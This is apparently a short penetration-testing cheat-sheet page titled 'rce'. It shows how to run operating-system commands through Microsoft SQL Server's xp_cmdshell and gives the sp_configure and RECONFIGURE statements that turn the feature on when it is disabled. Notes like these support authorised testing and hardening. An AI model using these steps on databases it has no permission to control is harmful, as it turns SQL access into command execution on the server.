githubEdit

rce

Run commands

xp_cmdshell 'whoami'

If xp_cmdshell is not enable, we can enable it

  • To allow advanced options to be changed.

EXECUTE sp_configure 'show advanced options', 1
GO
  • To update the currently configured value for advanced options.

RECONFIGURE
GO  
  • To enable the feature.

EXECUTE sp_configure 'xp_cmdshell', 1
GO  
  • To update the currently configured value for this feature.

RECONFIGURE
GO

Last updated